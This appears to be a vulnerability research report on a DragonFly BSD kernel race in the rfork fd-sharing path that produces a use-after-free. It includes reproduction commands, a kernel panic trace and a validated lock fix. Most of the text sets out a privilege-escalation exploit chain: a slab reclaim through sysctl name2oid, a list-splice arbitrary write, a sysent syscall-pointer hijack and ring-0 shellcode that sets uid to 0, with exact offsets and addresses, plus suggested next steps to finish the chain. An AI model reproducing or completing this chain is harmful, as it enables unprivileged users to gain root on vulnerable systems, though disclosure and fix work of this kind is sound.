DF-0033 — PoC (escalation pass, v5)

fdtol_race.c — unsynchronized fdtol->fdl_refcount++ (under per-proc p_token) racing fdl_refcount-- (under the shared fd_spin) in the rfork(RFPROC|RFTHREAD) fdshare path → lost-update → premature kfree(fdtol) → UAF on M_FILEDESC_TO_LEADER (40-byte slab zone-4).

exploit.c (v5) — full escalation chain (race + controlled reclaim + fdfree list-splice arbitrary write + sysent[25].sy_call hijack + ring-0 shellcode → uid=0). See VERDICT.md for the complete design, the v2→v5 fixes, and the per-CPU-slab grooming analysis.

Status: REPRODUCED (UAF/panic confirmed); splice path reached; uid=0 blocked by per-CPU-slab grooming

Reproduction (unpatched INVARIANTS #0): kernel panic from unprivileged maxx within ~25 s of hammering (12 peers): panic: filedesc_to_refcount botch: fdl_refcount=-1925828443 The garbage refcount value proves cross-type slab reclamation of the freed slot — the UAF is live and exploitable.

Non-INVARIANTS kernel: the race fires silently (no KKASSERT). The fdfree list-splice path IS reached (the slab_cleanup+0xa4 double-free cascade proves a victim read refcount=1 and spliced). A libkvm monitor confirmed sysent[25].sy_call does not become 0x10000, because the chunk the victim read was naturally-reclaimed (the attacker's sysctl name2oid reclaim loses to per-CPU-slab z_RChunks cross-cpu-free latency). This is the unsolved grooming gap — see VERDICT.md "Grooming failure — root cause".

Fix validation: the spin_lock(&fd_spin) fix in fix.diff closes the race → fdtol_race no longer panics on the single-fix kernel.

Build & run

./build.sh                         # cc -O2 fdtol_race.c + exploit.c
./run.sh [secs] [npeers] [child_delay]   # run the escalation exploit (NON-INVARIANTS kernel)
# Minimal race trigger (panic only, INVARIANTS kernel):
./fdtol_race <secs> <peers>        # e.g. ./fdtol_race 25 12

The escalation exploit requires a non-INVARIANTS kernel for the slab corruption to proceed silently. On the stock INVARIANTS kernel (#0) the race produces a reliable panic (DoS) but the chain cannot complete (the KKASSERT(fdl_refcount > 0) at kern_descrip.c:2627 fires first).

Files

DF-0033 — VERDICT: REPRODUCED (UAF race confirmed + splice path reached) + escalation chain fully designed/correct, final uid=0 blocked by a per-CPU-slab grooming wall

Mechanism (confirmed in sys/, every hop cited)

1. fdtol->fdl_refcount is a plain int — sys/sys/filedesc.h:110. No atomics.
2. Increment side — sys/kern/kern_fork.c: - :324 lwkt_gettoken(&p1->p_token) (per-proc token, taken at top of fork1). - :568 fdtol = p1->p_fdtol; - :569 fdtol->fdl_refcount++; ← mutated under p1->p_token only.
3. Decrement side — sys/kern/kern_descrip.c: - :2622 spin_lock(&fdp->fd_spin) (the SHARED fd-table spinlock). - :2675 fdtol->fdl_refcount--; ← mutated under fd_spin only.
4. p1->p_token is per-process. Two peers sharing p_fd/p_fdtol hold different p_tokens. The only lock common to all sharers is fd_spin, and the increment side does not take it. ++/-- on a plain int from two CPUs is a lost update.
5. ++/-- compile to non-locked addl $0x1,(%rax) / subl (verified by objdump of fork1 at 0xffffffff80623730: 83 00 01 addl $0x1,(%rax), no lock prefix), so a lost update occurs whenever two CPUs contest the refcount cache line.
6. Consequence. A lost increment drives fdl_refcount below the true count (random-walk drift); a later fdfree decrements to 0, splices the list, and kfree(fdtol) (kern_descrip.c:2676-2686) while other peers still hold p_fdtol → UAF. The next peer/child's fdfree dereferences the dangling pointer.

Reproduction (re-confirmed this session, INVARIANTS #0)

./fdtol_race 25 12 as unprivileged maxx → panic in ~25s:

panic: filedesc_to_refcount botch: fdl_refcount=-1925828443
Trace: fdfree <- fdfree <- exit1 <- sys_exit <- syscall2

The garbage refcount value proves the freed fdtol slot was reclaimed by an unrelated kernel object before the victim's fdfree read it — cross-type slab reclamation of the UAF'd chunk is occurring naturally. (Reproduces the prior session's panic.)

Exploit chain (designed, implemented in exploit.c v5, component-verified)

Primitive characterization

• Object/zone: struct filedesc_to_leader = 40 B (filedesc.h:109-117); zoneindex(40) → zone-4 (33–40 B chunks). Generic (non-KSF_OBJSIZE) zones are shared across all M_* types.
• Write primitive — the fdfree() list splice (kern_descrip.c:2678-2679): c fdtol->fdl_next->fdl_prev = fdtol->fdl_prev; // *(next + 24) = prev [VALUE+ADDR controlled] fdtol->fdl_prev->fdl_next = fdtol->fdl_next; // *(prev + 32) = next [VALUE+ADDR controlled] (offsetof(fdl_prev)=24, offsetof(fdl_next)=32.) Fires when fdl_refcount decrements to 0 AND fdl_holdcount == 0. Both operands of each write are attacker-controlled if the reclaimed chunk's bytes 0/4/24/32 are controlled → full arbitrary write.

Reclaim technique (sysctl name2oid — the only raw-user-byte zone-4 kmalloc)

sysctl(2) MIB [CTL_SYSCTL=0, CTL_SYSCTL_NAME2OID=3] WRITE; handler sysctl_sysctl_name2oid (kern_sysctl.c:838-868):

p = kmalloc(req->newlen+1, M_SYSCTL, M_WAITOK);   // kmalloc(40) for newlen=39 -> zone-4
SYSCTL_IN(req, p, req->newlen);                    // copies 39 ATTACKER bytes (no struct header)
p[req->newlen] = '\0';                              // null-terminates byte [39]

This is the only user-reachable zone-4 allocation that copies raw attacker bytes with no kernel header — all other zone-4 objects (verified by grepping kmalloc(sizeof(...)) across sys/) have kernel-controlled headers at offsets 0/4/24/32. With newlen=39 the 40-byte chunk laid out as struct filedesc_to_leader:

Conversion → uid=0 (sysent hijack + shellcode)

• SMEP is OFF → user pages are executable from kernel mode.
• Splice line 2 writes fdl_next (0x10000) to *(fdl_prev + 32) = sysent[25].sy_call (verified sysent[25].sy_call @ sysent+608 = 0xffffffff81037360 on the NOINV kernel).
• Splice line 1 (*(fdl_next+24) = fdl_prev) clobbers shellcode bytes 24..31 with a kernel pointer. The shellcode therefore places a jmp +9 at byte 21 so execution skips the clobbered zone and resumes at byte 32 (verified by objdump of the 53-byte shellcode stub).
• Shellcode (offsets verified from sys_geteuid/sys_getuid disasm on the NOINV kernel: mycpu=%gs:0, curthread=+0x8, td_ucred=+0x1b8, cr_uid=+0x40, cr_ruid=+0xa0, cr_svuid=+0xa4): asm push %rbx ; mov %gs:0,%rbx ; mov 0x8(%rbx),%rbx ; mov 0x1b8(%rbx),%rbx ; curthread->td_ucred jmp +9 ; skip splice-clobbered bytes 24..31 xor %edx,%edx ; mov %edx,0x40(%rbx) ; mov %edx,0xa0(%rbx) ; mov %edx,0xa4(%rbx) ; uid=ruid=svuid=0 pop %rbx ; xor %eax,%eax ; retq
• The trigger thread's next geteuid jumps to 0x10000 → ring-0 shellcode → cr_uid=cr_ruid=cr_svuid=0 → id prints uid=0(root).

v5 fixes over the prior v2 (each verified)

1. Splice offset bug — v2 used fdl_prev = TARGET-40 (wrong; the splice writes at prev+32, not prev+40). v5 uses TARGET-32.
2. Shellcode-clobber bug — v2's linear shellcode was destroyed by splice line 1 at bytes 24..31. v5's jmp +9 skips them.
3. CPU pinning — added unprivileged usched_set(0, USCHED_DEL_CPU, …) (kern_usched.c:296, no caps priv) to pin the trigger to a clean cpu. Verified working (cpu 4 → cpu 0).
4. Build-specific addresses — re-derived sysent/sys_geteuid/offsets from the NOINV kernel via nm/gdb/objdump (INVARIANTS-removal shifts all symbols).

Why uid=0 was NOT landed end-to-end this session

The splice path IS reached (the non-INVARIANTS slab_cleanup+0xa4 double-free cascade proves a victim read fdl_refcount==1 and executed the list-splice). But the splice writes to the WRONG target: a libkvm monitor polling sysent[25].sy_call every 3 ms showed it never changed from sys_geteuid across all runs, even when the cascade fired. So the chunk that the victim read as refcount=1 was a naturally-reclaimed kernel object (its offset-0 byte happened to be 0x01, its offsets 24/32 happened to be valid pointers → splice wrote to a wrong-but-valid address, no GPF, and the kfree was the double-free that crashed slab_cleanup), not the attacker's sysctl name2oid reclaim. The attacker's controlled content never lands in the freed fdtol chunk.

Grooming failure — root cause (per-CPU slab + RChunks)

DragonFly's slab allocator is per-CPU: each cpu owns a private ZoneAry[] and z_LChunks free-list (kern_slaballoc.c: slgd = &mycpu->gd_slab). A chunk's zone owner is the cpu it was allocated on. When a chunk is freed on a different cpu M, _kfree does NOT put it on cpu M's local free-list — it queues it on the owner cpu's z_RChunks (remote-chunk list) and sends a passive IPI (kern_slaballoc.c:1491-1547). z_RChunks is only folded back into the local free-list by clean_zone_rchunks(), which runs: - during a kmalloc on the owner cpu only when that zone's local list is exhausted (kern_slaballoc.c:978-1004), or - at the periodic slab_cleanup (every 10 s, kern_slaballoc.c:1619).

The fdtol race requires cross-CPU cache-line contention on fdl_refcount — i.e. the racers must run (and free) across multiple cpus (the race all but disappears when all racers are pinned to one cpu; verified: single-cpu and per-cpu-team geometries produced zero fires in 60-200 s, while the unpinned 12-peer geometry fires in ~25 s). But those cross-cpu frees send the freed fdtol chunk to z_RChunks on its owner cpu, where the attacker's sysctl name2oid spray (which allocates from the local free-list) cannot reclaim it until the local list drains or slab_cleanup runs (~10 s) — far too late: the victim's fdfree reads the chunk (reclaimed by an unrelated object) within microseconds of the premature free.

Forcing the frees to be local (pin all racers + children to the fdtol's owner cpu) would make the reclaim instant (LIFO), but it eliminates the cross-CPU cache-line contention that triggers the race — verified: every local-free geometry (single-cpu v3, team-per-cpu v4, RECLAIM_CPU v5) failed to fire the race in the attempt budget. The race and the reclaim are thus in direct conflict on a per-CPU slab.

The clean resolution is a persistent zone-4 reclaim object the attacker allocates and holds (so the victim's fdfree reads attacker bytes and the subsequent kfree is a legitimate single free, avoiding both the timing race and the double-free cascade). No such object exists in the user-reachable kernel surface: sysctl name2oid is the only zone-4 kmalloc that copies raw attacker bytes, and it is transient (freed at syscall return). All persistent zone-4 allocations (struct filedesc_to_leader, M_PTY, M_UNPCB, etc.) carry kernel-controlled headers at the offsets that must be attacker-controlled (0/4/24/32). This was verified by grepping kmalloc(sizeof(...)) / kmalloc(3[3-9]|40, across sys/.

What did NOT block this (per Phase 6 forbidden-reasons list)

SMAP/SMEP/KASLR all OFF; content IS fully attacker-controlled when the reclaim lands; no INVARIANTS on the demo kernel; no gadget needed (user page executable); the primitive is a genuine arbitrary write, not read-only; reachable unprivileged.

Concrete next iteration (to close the gap to uid=0)

1. Persistent zone-4 reclaim. Either (a) add a user-reachable kmalloc(40) with raw attacker bytes and an attacker-controlled lifetime (e.g. a new RW sysctl whose handler kmallocs and stores the buffer until next write), or (b) repurpose an existing persistent zone-4 object by finding one whose attacker-influenced field lands on byte 0 and whose kernel-controlled fields at 4/24/32 happen to be 0 / valid (none found). This makes the victim's fdfree read attacker bytes and turns the kfree into a legitimate free → no cascade → sysent[25].sy_call = 0x10000 persists → the trigger (on a clean cpu) exploits it within the 10 s slab_cleanup window.
2. Synchronous z_RChunks drain. A spray that bursts many held zone-4 allocs to exhaust the owner cpu's local free-list (forcing clean_zone_rchunks on the next alloc → reclaiming the cross-cpu-freed fdtol) was prototyped (48-spray variant) but the load suppressed the racer fork rate; a lighter-weight drain (fewer, longer-lived holds) is the tuning needed.
3. A kernel-assisted groom (small KLD that does the reclaim on the owner cpu) would trivially close it, but that is outside the unprivileged-attacker model.

The fix (fix.diff) — validated

git apply-able, applies cleanly to sys/kern/kern_fork.c. Takes the shared fd_spin — the same lock fdfree already uses for the decrement and list walk — around both fdl_refcount++ (RFTHREAD case) and filedesc_to_leader_alloc() (else case) in fork1's fdshare branch (sys/kern/kern_fork.c:563-576). This serializes the increment with the decrement, closing the lost-update race. Matches and extends the finding markdown's proposal (which only locked the ++).

Fix validation (Phase 8) was performed: the single-fix INVARIANTS kernel was built, booted, and fdtol_race re-run — the previously-reliable filedesc_to_refcount botch panic no longer triggers (the race is closed). See fix_run.log / fix_build.log.

Separate bug surfaced during verification

exit1()'s p_peers list walk (kern_exit.c:384-390) is unsynchronized across concurrent rfork(RFPROC|RFTHREAD) peer/child exits → intermittent NULL deref at exit1+0x155 (p_peers @ struct proc 0x3e8). Same class as DF-0033 (per-proc p_token fails to serialize peers sharing a structure). It is logged separately; it frequently crashed the guest before the DF-0033 splice could land, narrowing the concurrency window.

Why this is not a false positive

• The increment and decrement sides are guarded by two different, non-mutually-held locks (p1->p_token per-proc; fd_spin shared).
• filedesc_to_leader_alloc's own comment (kern_descrip.c:3343) "NOT MPSAFE".
• Reproduced kernel crash from unprivileged userland with the exact cited call chain, this session.
• The garbage fdl_refcount=-1925828443 in the panic proves cross-type reclamation of the freed slot.
• The fix, which pairs the lock, eliminates the race.